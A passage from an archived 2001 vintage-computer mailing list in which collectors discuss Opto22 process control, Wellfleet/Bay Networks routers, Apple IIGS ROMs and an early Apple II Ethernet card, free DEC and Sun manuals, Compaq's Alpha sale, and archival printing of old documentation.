EPROMS) -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From vance at ikickass.org Tue Jun 26 09:11:45 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:56 2005 Subject: power control In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151211@jeffserver.tegjeff.com> Message-ID: Responses inline: On Tue, 26 Jun 2001, Douglas Quebbeman wrote: > > Maybe that is why I have ended up doing process control work so many times. > > Its just fun to turn stuff on and off with the computer, and the bigger the > > mess of stuff, the better. > > Hey, I used to do distribution centers: sortation conveyors, vertical and > horizontal carousels, pick stations, etc. We used Quatech boards with Opto > 22 modules stuffed in IBM PS/2 Model 80s which we stuffed in turn in big > Hoffman cabinets, and, contrary to my specs, unventilated. They ran like > gangbusters! I've never had a problem with Opto's stuff. Good solid stuff. (I do concurrent robotics for a living.) Plus Mod80s are built like a brick shithouse. I once saw one that had been running in an unventilated closet in someone's office for almost 4 years continuously. Had only been rebooted a couple of times. Running AIX/2, of all things. > We'd gone in to Rose's Distribution center down in Raleigh-Duram area, > and found they had to keep a $250,000 inventory of spares *just* for > the custom controllers they used. We figured it would be a lot cheaper > to keep a couple Model 80s and some Quatech I/O boards around. Sounds reasonable to me. > We were told that if we botched the timing of the sortation conveyor, > that the whole line could "explode"; the contractor said he'd seen > conveyor rollers embedded in a warehouse ceiling, once... > > Lights going on and off, arms swinging lanes shut, packages shuttling > off into other lanes, etc. Some of the most fun I've had in computing! LOL. That would be a scene 8-) The same kind of thing happens with robots with screwed up timing. > And all on-topic, as everything described in the list is > 10years old. > > Regards, > -doug q > > Peace... Sridhar From vance at ikickass.org Tue Jun 26 09:20:22 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:56 2005 Subject: On Topic: power control In-Reply-To: Message-ID: Responses inline: On Tue, 26 Jun 2001, Steve Robertson wrote: > >Maybe that is why I have ended up doing process control work so many times. > >Its just fun to turn stuff on and off with the computer, and the bigger the > >mess of stuff, the better. > > > > You might consider OPTP22 devices. Seconded. > I'm currently working on a home automation project using OPTO22 technology. > I have found them to be easy to interface, flexible, cost effective, and > very reliable. The devices are controlled via a RS422 serial interface > (easily converted to RS232) and drivers are available for a number of OSs > including DOS, WINDOWS, and Linux. The protocols aren't that complex so > writing your own driver, if one is not available, wouldn't be too difficult. The protocols are a complete piece of cake. You wouldn't even need to write a driver. It would be simple enough just to write a function that generates the kind of checksum it wants, then just speak it's protocol whereever you need to. > Most of the work I've done so far is basic experimentation and prototyping. > I currently have a OPTO22 controller interfaced to a HP 9000/832 running > HP-UX 10.20. It can turn on and off a few lights, measure the temperature in > the house, etc... All the collected data is captured into an Informix DB. > The application(s) are written in PERL / CGI and I have put together a > rudimentary web interface. I don't have a static IP otherwise, I'd publish > the address so others could see the system in operation. If anyone needs help using Opto22 stuff, I would only be too happy to help. I have a LOT of experience with their stuff. Basically, all of the sensors (including limit sensors) on our robots interface through Opto22 digital I/O racks. Each robot has more that 50 racks. > My ultimate goal is to build an automated Printed Circuit Board drilling > machine using a classic HP 3000 MPE computer running COBOL. I'm not sure if > OPTO22 is suitable for that application or not, I'll need to do a lot more > experimentation to make that determination. If it's too difficult, I may > wind up using a STD BUS computer as a smart controller/interface between the > drilling machine and the 3000. This is not what Opto22 devices are designed to do. STD BUS is designed to do this kind of thing, but you run into other kinds of problems. There is a company called MEI that makes motion control cards for a variety of busses, including STD BUS and PCI. They even make VME stuff. I am going to be replacing all the doors in my house with electric pocket doors controlled by MEI VME cards in a Sun 4/670. > FWIW: All the hardware I'm running is over 10 years old so, it is on topic. > With the exception of the 9000, most of it is closer to 20 years old. > > SteveRob Anything related to this issue that is not older than 10 years old is ok to me, because I find it interesting 8-). Peace... Sridhar From fmc at reanimators.org Tue Jun 26 09:21:49 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:56 2005 Subject: More free stuff... In-Reply-To: Bill Pechter's message of "Mon, 25 Jun 2001 20:58:35 -0400 (EDT)" References: <200106260058.f5Q0waI53731@bg-tc-ppp1654.monmouth.com> Message-ID: <200106261421.f5QELnD47628@daemonweed.reanimators.org> Bill Pechter wrote: > Sounds like a Bay Networks router or ethernet bridge... > They were bought by Nortel... good luck finding docs. > Souns like it may be a late 1980's or early 1990's piece... similar > to Cisco AGS routers. Furthermore, Bay Networks was formed from a merger/acquisition between two previously-separate companies: Synoptics and Wellfleet. That happened in the mid-1990s sometime, maybe 1994 or 1995? I don't remember. -Frank McConnell From kyrrin at bluefeathertech.com Tue Jun 26 09:24:54 2001 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 19:04:56 2005 Subject: Paging: John Lawson Message-ID: <3.0.5.32.20010626072454.00a1d580@192.168.42.129> Please pardon the page, gang... John? Do you copy? If you would, please try to send E-mail to my kyrrin@bluefeathertech.com address once again. I've received a firmware update from Zyxel that should, supposedly, have fixed that SMTP problem. Thanks much. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies http://www.bluefeathertech.com // E-mail: kyrrin@bluefeathertech.com Amateur Radio: KC7GR, active since 12-77 (Extra class as of June-2K) "I'll get a life when someone demonstrates to me that it would be superior to what I have now..." (Gym Z. Quirk, aka Taki Kogoma). From ken at seefried.com Tue Jun 26 09:32:58 2001 From: ken at seefried.com (Ken Seefried) Date: Sun Feb 27 19:04:56 2005 Subject: Bay Networks In-Reply-To: <200106260503.AAA95540@opal.tseinc.com> References: <200106260503.AAA95540@opal.tseinc.com> Message-ID: <20010626143258.4158.qmail@mail.seefried.com> >BTW, does anyone know anything about Bay networking systems? Err...too much. I've got some clients running them, and I've done several non-trivial networks using them. >I once bought a big, white case at the fleamarket, which had >been in service at a power station. One label said "LAN BRIDGE >REPEATER" or something to that effect, and when I finally wedged >it open, it seemed to be a VME system. The "main" board had two >68020s, one at 16 and one at 20 or 24 MHz. The system >also had a floppy drive, which was accessed at startup, and spome >status lights. Other boards had several serial ports, AUI and some >other ports which I couldn't recognise. They are VME (sorta), and long ago obsoleted. You had a really old one; they matched Motorola pretty close as far as processors, eventually being one of the few big adopters of the 68060. Backplane ran down the middle. You plugged a processor card in one side, and a ports card in the other, for each slot. Ran from, as I recall, a one slot fixed unit to a 13 slot monster (BN/BLN). The OS they ran was loosely multiprocessing, with an image running on each processor card. This allowed you to reboot a single processor board without bringing the whole box down (well...there were caveats, especially if you were running OSPF). Nice boxes, in many ways better than the competing Cisco product. As an aside, unless you were really good at remembering SNMP OID strings, you configured the things with a tool called Site Manager. This is *still* one of the worst pieces of software I've ever used; they've done nothing to fix it in a decade. And every different version of the router code required a different version of Site Manager; little or no forward or backward compatability. >Bay have since been bought by another companym which in turn has >been bought by yet another, which made finding information about >it quite impossible. Why do people feel such a desire to dismantle >the web sites of conquered companies? It's more complicated than that. That router was actualy produced by Wellfleet, who later merged with Synoptics to form Bay Networks. Bay was later purchased by Nortel Networks, who is now in the process of trying not to go out of business. A search for "Wellfleet router" should give you sufficient info. Ken Seefried, CISSP From jim at calico.litterbox.com Tue Jun 26 10:19:53 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:56 2005 Subject: AppleIIGS Roms (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <20010626140717.94222.qmail@web9501.mail.yahoo.com> from "Ethan Dicks" at Jun 26, 2001 07:07:17 AM Message-ID: <200106261519.JAA12482@calico.litterbox.com> I can answer this one. rom01 and rom03 motherboards are different from the rom0 (WOZ edition) GSs. The reason (I imagine) that the ethernet board requires at least ROM01 is that GS0S6.0.1 requires it, and the tcpip stack requires THAT. I may be wrong about the motherboard revision between ROM0 and ROM01, I have this vague memory that they used to ship a rom upgrade for these. In any case, I have a ROM01 GS that I'd be willing to part with cheap. I'd have to test it to make sure it still works - it's been dropped - but I expect it will. I've got drives, printer cards, a 4 meg ram expansion card (which GSOS 6.0.1 will want) and so on. Contact me privately if you're interested. > Well... it's about 10x what I paid for my AppleIIGS, but I'm tempted. If > I hadn't gotten off the Apple cart before the IIe, I'd probably be getting > one, but I'd moved on by 1985 (traded up from the 6502 to the 68000 with > the Amiga in 1986!) What I am curious about, though, is that since that > webpage mentions the minimum system requirements for a GS as being ROM rev 1 > or 3, and I know I have a rev 1, how could I go about getting a rev 3 ROM? > Are they for sale anywhere? For download? Are they pin-compatible with > a 2764/27128/27256? (I ask because I know in the Commodore line, the > mask-programmed ROMs are *not* always JEDEC compatible, which is why I have > a stash of 2532 EPROMS) > > -ethan > > > > ===== > Visit "The Seventh Continent" > http://penguincentral.com/penguincentral.html > > __________________________________________________ > Do You Yahoo!? > Get personalized email addresses from Yahoo! Mail > http://personal.mail.yahoo.com/ > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From mark at mtapley2.space.swri.edu Tue Jun 26 11:25:24 2001 From: mark at mtapley2.space.swri.edu (Mark Tapley) Date: Sun Feb 27 19:04:56 2005 Subject: Freebies in London, UK Message-ID: <200106261625.AA04001@mtapley2.space.swri.edu> All, but particularly the UK readers, You've probably already seen this, but today on comp.sys.dec and comp.sys.dec.micro respectively, I saw the below announcements. I have some interest, but probably not as much as the cost of shipping, in Rainbow manuals (but I'd rather ard gets 'em, he'll appreciate them better) DEC kb and mouse (to go with my VAX 4000 VLC) AIX 3.x manuals (a lab here has an AIX 3.2 machine with no manuals): so if anyone picks up the pile and is willing to investigate shipping to San Antonio, TX, I'm mildly curious as to the cost. - Mark ---------------------------------------------------------- Path: sn-us!sn-xit-02!supernews.com!news.tele.dk!195.224.53.60!nntp.news.xara.net!xara.net!gxn.net!server6.netnews.ja.net!server4.netnews.ja.net!jura.cc.ic.ac.uk!anahata.ma.ic.ac.uk!andy From: andy thomas Newsgroups: comp.sys.dec,comp.sys.sun.hardware,comp.sys.sun.wanted,comp.unix.aix Subject: Free manuals and kit Date: Tue, 26 Jun 2001 12:21:13 +0100 Organization: Imperial College, London, UK Reply-To: During a clear-out I came across a lot of manuals for DEC and Sun kit we no longer have. Some of this is brand new and has never been taken out of its shrink-wrapping so it would be a shame to throw it away if someone has a use for it. If anyome wants. it they're welcome to it for free. We have the following: IBM AIX: various AIX 3.x manuals, application manuals, etc too numerous to list here DEC: manual sets for VR-319 monochrome monitor, RRD42 CD-ROM drive, DEC 3000 AXP models 400 and 600, manuals for the various Elsa graphics cards fitted to PWS 500's and XP1000's Sun: One complete documentation set for SunOS 4.1.3, several complete manual sets for SparcStation 1 and ELC 1 I've also got some hardware I don't want: DEC: One LA75 printer, three DEC Station 3100's (MIPS CPU) complete with disks (Ultrix 4.2) but various hardware faults, various DEC keyboards & mice. Sun: several SparcStation 1's (one is in working order with a noisy disk but the others have various faults), several Sun 17SMM1 monitors, three Sun EXP-2 external SCSI disk expansion units complete with disks and various Sun keyboards and mice. I'm located in Londion, UK. Please use my reply-to address (andy.thgomas@ic.ac.uk) as my from-address is broken (no time to fix my sendmail!). Andy ---------------- and ----------------------- Newsgroups: comp.sys.dec.micro Subject: Re: DEC Rainbow Hard disks, rainbow software archive, reading rainbow floppies Date: Tue, 26 Jun 2001 11:52:56 +0100 Organization: Imperial College, London, UK Lines: 23 ... Reply-To: On Sun, 10 Jun 2001, B'ichela wrote: > =09Hmm. I got a rainbow 100A With the Color/Graphics card but no > hard drives (although at least a second RX50 would be great! I've got an RX50 in good working order that I don't want. Whereabouts are you? I've also got the full set of DEC service manuals, schematics, etc for both the 100A and 100B, IPBs (illustrated parts breakdowns) which cost cost me well over UK =A3100 back in 1987. Any use to anyone? I gave my 3 Rainbows (one with 44 MB hard disk, colour graphics, VR-241 monitor, 3.5" I-drive, etc), Code Blue, all software, etc to a guy called Antonio who worked for Cabletron Systems in Reading, England sometime in 1997 or 1998. This was shortly after DEC bought up Cabletron but before Compaq in turn took them over - I don't know if he still reads this newsgroup. Andy From optimus at canit.se Tue Jun 26 10:05:08 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:56 2005 Subject: Good Samaritan Rule? In-Reply-To: Message-ID: <1270.577T400T9654513optimus@canit.se> Mike Ford skrev: [snip] >Instead of what odd bit did you add to >your collection, what was the last thing you tossed? My list for June is a >yellow 13" mac RGB monitor that I couldn't get to work properly, tried to >fix and broke something, plus found out it was already working and I hooked >it up wrong. Item two are a couple of 486/66 minitowers that had just too >many things wrong with them(bad power supplies, missing memory, bad hard >drives, funky motherboards (vlb), and finally nasty old case I cut my >finger on. I try to clear out things out of my collection, and have in the last couple of months as a matter of consequence dismantled a PS/2 model 90, only I still haven't got used to the thought of throwing it away, so it just sits in the hallway serving as some kind of cubist stool. The next step is to get it outside the door, where it'll probably sit for a few months. Then it'll go to the usergroup, as much stuff has done recently, where it will be up for grabs and/or eventually dismantled to serve as material for other, perhaps non- computer related projects. It just seems like such a shame to throw it away, regardless of what it might be or what little use it may have. -- En ligne avec Thor 2.6a. Age is a high price to pay for maturity. From optimus at canit.se Tue Jun 26 09:28:06 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:56 2005 Subject: BIG haul of DEC docs! In-Reply-To: Message-ID: <1925.577T300T9283961optimus@canit.se> Jeff Hellige skrev: >>Hm, what's this about sellinbg the Alpha team, and why? Have the Compaq >>executives suffered some kind of massive stroke or have they been >>free-basing >>(I think that's the term) on Windows NT discs? > Here's the part of the text that appeared in the email I >received today from Encompass: I heard it on Euronews just as I was going to sleep. Curse you, Compaq, for disturbing my peace! > "By now I'm sure you have heard of the historic announcement >Compaq made > this morning. In brief, Compaq entered into an agreement with Intel to > provide Intel with all of Compaq's Alpha technology and experience, to > further Intel's Itanium design. In addition, over the course >of the next > 3-4 years, Compaq will migrate all of its server-based technologies > (including OpenVMS, Tru64 and its Linux work) to the Itanium platform. > Attached is a letter from Rich Marcello, Vice President and General > Manager of the High Performance Systems Group, discussing this > announcement and its implications for Alpha customers worldwide" I wouldn't be surprised if there were an uprising in the DECUS^H^H^H^H^HEnCompass lines in the next few days. All I can say is: burn them at the stakes! It seems that whatever authority is investigating Microsoft's activities should take a healthy interest in Intel's behaviour in this question. Thank you, Compaq, for being true to your clone manufacturer roots and making the world a less interesting place! -- En ligne avec Thor 2.6a. There is also a high quality Fortran from DEC for our engineers, and of course the whole C and LISP programming environments for CS students and other software developers, plus a set of powerful text manipulation utilities like sed, grep, awk, lex, and yacc, whose functions should be obvious from their names. Frank da Cruz & Christine Gianone - "THE DECSYSTEM-20 AT COLUMBIA UNIVERSITY (1977-1988)" From rdd at smart.net Tue Jun 26 10:50:26 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:56 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Mon, 25 Jun 2001, Sellam Ismail wrote: > Lighten up. Hey, I wasn't frowning as I wrote that... :-) :-) :-) I was just commenting, realistically, on how businesses are harming consumers in the U.S. (and elsewhere) with the help of the politicians that they buy, as well as their negative impact on the educational system that they're buying as well, from grade-schools to universities. I'm all for healthy profits, but not at the expense of harming, and, or, cheating, people in order to achieve them. Is not what we need a biz-'droid-rattling consumer revolt? ...taking place in the workplace as well. After all, employees are consumers too. If they fire everyone, well, they're going to have a rather big problem making any profits at all. :-) Ok, back to "on topic." :-) With regards to preserving old documentation, I've discovered that the chrome plating used on many of the looseleaf binders from DEC, etc., don't hold up well in some environments where there's a lot of humdity; the chrome flakes off and the metal rusts, so, for any of those here who've recently begun collecting them, you might want to keep them in a dry part of your house. -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From jim at calico.litterbox.com Tue Jun 26 10:46:10 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: from "Sellam Ismail" at Jun 26, 2001 12:53:47 AM Message-ID: <200106261546.JAA12568@calico.litterbox.com> Yeah, Anti-Christ Nathan flamed out a few years ago and took the HTML version of the faq (which in all fairness he DID write) with him. Turley's still around, or was last I looked, but that's been a couple years. Sheppy I owe a great debt of gratitude to because he was the one who first brought BeOS to my attention. (he works for Be for his day job, apparently). > Yeah, yeah. Just ignore those punk-assed bitches. Are the apple2 > newsgroups still as dynsfunctional as ever? Is that Anti-Christ Nathan > still toturing everyone with his juvenile attitude? And is Turley still > there annoying everyone who will give him attention? > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From fmc at reanimators.org Tue Jun 26 10:34:18 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:56 2005 Subject: On Topic: power control In-Reply-To: "Steve Robertson"'s message of "Tue, 26 Jun 2001 09:11:20 -0400" References: Message-ID: <200106261534.f5QFYlH49874@daemonweed.reanimators.org> "Steve Robertson" wrote: > My ultimate goal is to build an automated Printed Circuit Board drilling > machine using a classic HP 3000 MPE computer running COBOL. I'm not sure if > OPTO22 is suitable for that application or not, I'll need to do a lot more > experimentation to make that determination. If it's too difficult, I may > wind up using a STD BUS computer as a smart controller/interface between the > drilling machine and the 3000. The sticky bit would be that the 3000's terminal I/O is essentially one-way-at-a-time: if the terminal device doesn't have a read request posted, then most data sent from the attached device will be discarded (the exceptions being break and subsystem break indications). And trying to do anything else with the terminal device will involve aborting the read request, doing the something else, and starting a new read request. If the OPTO22 protocol can work around this, you're probably OK. Otherwise, you will probably need to build a front-end processor of some sort. If you have questions, feel free to ask, but my COBOL is rustier than my SPL, and so I will probably present terminal I/O examples in the latter with heavy [ab]use of MPE intrinsics. -Frank McConnell From jim at calico.litterbox.com Tue Jun 26 10:58:08 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:56 2005 Subject: Ethan? Message-ID: <200106261558.JAA12690@calico.litterbox.com> Ethan, I tried to reply to your private e-mail, but it bounced. the address is the iname one. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From mmcfadden at cmh.edu Tue Jun 26 11:15:38 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:56 2005 Subject: preserving / ressurecting old docs? Message-ID: R.D. Davis wrote >What we need is a method of good-quality printing, useful for archival >quality, that's reasonably affordable to most people who already own >computers. >Like manhy others here have most likely experienced, I've had >laser-printed pages stick together, injet printed pages become >unreadable when they get a little to damp, and dot-matrix output fade >out. >Suggestions? Maybe there would be a way to load archival quality ink into an inkjet cartridge and then print the documents on acid-free paper. I purchased 3 non-working HP 1200C printers for $20, included cartridges. They have cartridges for each color ink. I'll bet they might clog if not cleaned correctly. You could also perhaps find pens for a HP or other plotter containing archival quality ink and then plot the documents on acid free paper. I know you can get acid free plotting paper, the land plats I occasionally see are drawn on linen or cotton paper. I've seen 60 year old copies that look great. The modern ones are drawn by a plotter. Hire a team of scribes to read and transcribe the documents on vellum, any illumination would be a plus.:) After some thought and research I have found the following: Pointer to image permanence institute at Rochester Institute of Technology. http://www.rit.edu/~661www1/ Pointer to archival quality inks for inkjet printers. http://www.tssphoto.com/sp/dg/archival_inks/color.html Pointer about lifetimes of inks and papers for inkjets, may be more image oriented than text http://www.tssphoto.com/sp/dg/news/Wilhelm062000.pdf Mike mmcfadden@cmh.edu From celt at chisp.net Tue Jun 26 11:18:25 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: Message-ID: <3B38B5D1.6000407@chisp.net> Sellam Ismail wrote: > On Mon, 25 Jun 2001, Michael Maginnis wrote: > > > What makes you think that? The //c was announced in 1984. The //e was > announced in 1981. There's a chance it might only work on later revision > Apple //e's though. > The physical dimensions of the card rule out IIc compatibility - it's about the size of a IIgs memory expansion board. And, as I understand it, the IIc didn't have any internal expansion slots. Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository From jhellige at earthlink.net Tue Jun 26 11:28:53 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II Message-ID: <01Jun26.123308edt.119059@gateway.mediacen.navy.mil> >Just 'cuz ethernet cards are $9 now and mice sell for as little as $1 doesn't >mean they always did. You gotta remember the 1% rule (although it applies >more to systems than peripherals) - ten years later, you can get a computer >for 1% of its original purchase price. There are exceptions, of course, and >much later, say, twenty years, it's not as cheap as 1% anymore, but that's >due to scarcity and eBay fever. Not to mention that designing and producing a very low production board such as the ethernet board for the IIGS surely isn't cheap. The volume just isn't there to drive the price down. Michael Holley has finished the design of a new floppy controller for the SS-50 bus machines and has a few examples running and is testing them, but after paying for the fabrication of the PCB and the various chips and other parts, the finished board is costing nearly $100 in parts alone. I would imagine most on this list would balk at paying that much but it certainly would fill a void if you were in desperate need of a new floppy controller to get a machine up. Jeff From celt at chisp.net Tue Jun 26 11:30:50 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: Message-ID: <3B38B8BA.6000202@chisp.net> Sellam Ismail wrote: > On Mon, 25 Jun 2001, Jim Strickland wrote: > > Yeah, yeah. Just ignore those punk-assed bitches. Are the apple2 > newsgroups still as dynsfunctional as ever? Is that Anti-Christ Nathan > still toturing everyone with his juvenile attitude? And is Turley still > there annoying everyone who will give him attention? > Mates, in true dramatic Mates style, left the a2 newsgroups a couple of years ago. Washed his hands of the whole thing - sold all of his Apple equipment and destroyed all of the software he was developing. Turley is still Turley, though the main enemy now is Quantum_Cat - this guy makes Mates and his rants look tame... Mike http://tarnover.dyndns.org Tarnover - The Apple II Repository From celt at chisp.net Tue Jun 26 11:40:40 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: Message-ID: <3B38BB08.6020303@chisp.net> Sellam Ismail wrote: > On Mon, 25 Jun 2001, Michael Maginnis wrote: > >> > > Did you take some time to dispell this guy of his ignorance? You could > make things much easier for you in the future by establishing a good > working relationship with him. > > I did. Not sure how much good it'll do, though. Apparently they get 20 or more units in each day. He claimed not to have time to go through everything, and the store lacks the space to keep these things for very long. The units on the shelf are out there for a week - unsold CPUs go to the compactor. They have to keep turning things over to make room for incoming gear. I left him a list of things to keep an eye out for, though - he said he'd call if he came across anything. >>He did let me root around their back room for a few minutes - scored a >>NeXT cube for a dollar. >> > > Very nice. Sounds like a very nice thrift shop. I had one like that in > my area that would regularly turn up something nice at least once a month > but they closed down :( > For some reason, Denver seems to have a high number of thrift stores, compared to some of the other cities I hear about. ARC has 10 or 12 stores, each with a computer/electronics section; DAV has 5 or 6, also with a nice electronics corner; many 'independent' stores as well. I get 90% of my gear from the local thrift industry. The only chain that doesn't seem to keep / accept / make available, computers is Goodwill - can't figure that one out. Mike http://tarnover.dyndns.org Tarnover - The Apple II Repository From foo at siconic.com Tue Jun 26 11:06:01 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <20010626134551.13642.qmail@web9503.mail.yahoo.com> Message-ID: On Tue, 26 Jun 2001, Ethan Dicks wrote: > --- Sellam Ismail wrote: > > Yeah, I can't imagine any organization in 1984 would be so serious about > > the Apple ][ that they'd be spending $1,250 for an ethernet card for each > > Apple ][ to build a network of them. > > My sarcasm detector is pinging madly, but I wanted to add that this same > organization probably also bought the Apple ][ mouse available about the > same timeframe for over $250! It was an original 9-pin boxy Mac mouse No sarcasm at all. I just can't imagine a business in 1984, a time at which the PC was becoming entrenched in the business environment, trying to create a network of Apple ][s by purchasing a card that, as someone else has pointed out, cost as much as the computer itself. That's just silly. And that's probably why we've only actually seen this one that was found recently. I've certainly never heard of the card or the company, so they probably didn't sell many. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Tue Jun 26 11:12:06 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <200106261546.JAA12568@calico.litterbox.com> Message-ID: On Tue, 26 Jun 2001, Jim Strickland wrote: > Yeah, Anti-Christ Nathan flamed out a few years ago and took the HTML > version of the faq (which in all fairness he DID write) with him. Yeah, I knew about that. I was just wondering if he was still around gracing everyone's presence with his horrifying personality. :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Tue Jun 26 11:14:22 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B38B5D1.6000407@chisp.net> Message-ID: On Tue, 26 Jun 2001, Michael Maginnis wrote: > > What makes you think that? The //c was announced in 1984. The //e was > > announced in 1981. There's a chance it might only work on later revision > > Apple //e's though. > > The physical dimensions of the card rule out IIc compatibility - it's Of course, and the fact that the //c has no Apple ][ bus. > about the size of a IIgs memory expansion board. And, as I understand > it, the IIc didn't have any internal expansion slots. I was wondering why you would attribute the 1984 date to the //e. Never mind :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Tue Jun 26 11:15:23 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <01Jun26.123308edt.119059@gateway.mediacen.navy.mil> Message-ID: On Tue, 26 Jun 2001, Jeff Hellige wrote: > Not to mention that designing and producing a very low production > board such as the ethernet board for the IIGS surely isn't cheap. > The volume just isn't there to drive the price down. Michael Holley > has finished the design of a new floppy controller for the SS-50 bus > machines and has a few examples running and is testing them, but after > paying for the fabrication of the PCB and the various chips and other > parts, the finished board is costing nearly $100 in parts alone. I > would imagine most on this list would balk at paying that much but it > certainly would fill a void if you were in desperate need of a new > floppy controller to get a machine up. I'm actually interested in one for purposes of data conversion (his card will allow a 3.5" drive to be connected to an SS-50 machine). Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Tue Jun 26 11:17:24 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B38BB08.6020303@chisp.net> Message-ID: On Tue, 26 Jun 2001, Michael Maginnis wrote: > I did. Not sure how much good it'll do, though. Apparently they get > 20 or more units in each day. He claimed not to have time to go > through everything, and the store lacks the space to keep these things > for very long. The units on the shelf are out there for a week - Here's a suggestion: offer to volunteer to process their computer stuff in exchange for being able to have first stab at whatever comes in, and at a steep discount. > unsold CPUs go to the compactor. They have to keep turning things > over to make room for incoming gear. I left him a list of things to > keep an eye out for, though - he said he'd call if he came across > anything. That's good. > For some reason, Denver seems to have a high number of thrift stores, > compared to some of the other cities I hear about. ARC has 10 or 12 > stores, each with a computer/electronics section; DAV has 5 or 6, also > with a nice electronics corner; many 'independent' stores as well. I > get 90% of my gear from the local thrift industry. The only chain > that doesn't seem to keep / accept / make available, computers is > Goodwill - can't figure that one out. The only places I usually find anything of interest anymore are thrift stores. The local ham fests have been drying up :( Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jim at calico.litterbox.com Tue Jun 26 12:27:15 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: from "Sellam Ismail" at Jun 26, 2001 09:06:01 AM Message-ID: <200106261727.LAA12999@calico.litterbox.com> Do remember that at the time PC ethernet cards were gruesomely expensive too. Even in 1990, when I went to grad school, the fact that I got a NIC through the housing department for *only* $129 was a real bargain. And the housing department was buying them in bulk and splitting up the packages and selling at cost, retail was still much more expensive. Also remember that in 1984, PCs were struggling to catch up to the A2 in terms of capability and were perhaps twice the price, and that 1984 was the year the Macintosh was *born*. It was a different era, and if you needed ethernet, it probably made sense. > No sarcasm at all. I just can't imagine a business in 1984, a time at > which the PC was becoming entrenched in the business environment, trying > to create a network of Apple ][s by purchasing a card that, as someone > else has pointed out, cost as much as the computer itself. That's just > silly. And that's probably why we've only actually seen this one that was > found recently. I've certainly never heard of the card or the company, so > they probably didn't sell many. > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From jhellige at earthlink.net Tue Jun 26 12:44:37 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:56 2005 Subject: Looking for info - En-link Ethernet card for the Apple II Message-ID: <01Jun26.134849edt.119060@gateway.mediacen.navy.mil> >I'm actually interested in one for purposes of data conversion (his card >will allow a 3.5" drive to be connected to an SS-50 machine). From what he said a couple of days ago, it was working well on his 6800 and a 6809 but that he was having intermittent problems while formatting on a S/09. I've been considering one myself, due to how flexible it is, once he works out the remaining 